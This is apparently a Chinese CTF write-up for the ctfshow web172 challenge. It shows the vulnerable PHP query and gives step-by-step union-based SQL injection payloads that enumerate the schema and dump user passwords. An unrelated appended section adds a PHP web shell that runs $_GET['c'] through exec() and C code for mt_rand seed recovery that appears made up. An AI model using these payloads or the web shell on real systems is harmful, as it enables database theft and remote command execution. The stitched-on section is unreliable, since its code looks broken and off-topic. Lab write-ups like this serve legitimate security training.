ctfshow-web入门-web172

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

联合查询

该题目与上一个题目不是同一个类型,该题目需要进行sql联合查询。

第一步:确定sql注入的类型。1' or 1=1 确定为字符型(根据上面的php代码也能确定)

第二步:使用order by确定列数 1' order by 3 --+

第三步:测试回显位:1' union select 1,2 --+

第四步:使用database(),查询数据库 1' union select 1, database() --+

第五步:查询表名

x union select 1,group_concat(table_name),x from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web" --+

第一个x代表是需要确定哪种注入类型。

第二个x代表是需要确定是有几个列,并且确定回显字段。

第六步:查询字段名:

x union select 1,group_concat(column_name),x from information_schema.columns where table_schema=database()&&table_name="查询到的表名" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctfshow_web"&&table_name="ctfshow_user2" --+

两种方法均无法查询出字段名,因为语法出现问题。应该使用下列查询语句:加个括号

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2") --+

仍然不正确,在语句中不需要数据库的信息。

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2") --+

所以最开始语句的问题是多加了数据库的信息:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2" --+

第七步:查询字段值:

1' union select 1,group_concat(password) from ctfshow_user2 --+

1' union select 1,password from ctfshow_user2 --+

以上问题错误的原因:该题目只有一个数据库,因此在查询字段时不需要指定数据库名。

### CTFShow Web 入门教程与资源 #### 图片中的隐藏后门代码 在处理CTF挑战时,有时会遇到图片中嵌入的恶意代码或后门。这类攻击通常利用图像文件格式的特点,在不影响视觉效果的前提下植入可执行代码。为了检测此类漏洞,可以使用工具如Wireshark抓包分析网络传输数据,或者通过十六进制编辑器(例如010 Editor)查看二进制内容[^1]。 ```bash # 使用010Editor打开可疑图片文件并查找异常字符序列 $ 010editor image.png ``` #### 构造命令执行Payload 对于存在命令注入风险的应用程序,可以通过精心设计输入参数来触发特定行为。比如在一个假设场景下,如果服务器端未对用户提交的数据做充分验证,则可能允许攻击者绕过安全机制执行任意指令。下面展示了如何构建用于测试目的的有效载荷: ```php <?php // 测试用PHP代码片段模拟远程命令执行 $c = $_GET['c']; exec($c, $output); echo implode("\n", $output); ?> ``` 实际操作时应谨慎对待任何涉及系统调用的功能,并确保只针对授权环境开展实验性活动[^2]。 #### PHP随机数生成函数反向工程 某些情况下,了解目标应用内部工作原理有助于找到解决方案路径。以PHP为例,其内置伪随机数发生器`mt_rand()`依赖于初始状态——即种子值。当知道部分输出结果时,可通过逆向工程技术恢复原始种子,进而预测后续产生的数值系列。开源项目提供了实现这一过程所需的算法和编译方法[^3]。 ```cpp #include "php_mt_seed.h" int main() { // 示例:基于已知MT输出还原种子 unsigned long mt_output[] = { /* 已知的一组连续输出 */ }; int seed; find_mt_seed(mt_output, sizeof(mt_output)/sizeof(*mt_output), &seed); printf("Recovered Seed: %d\n", seed); return 0; } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值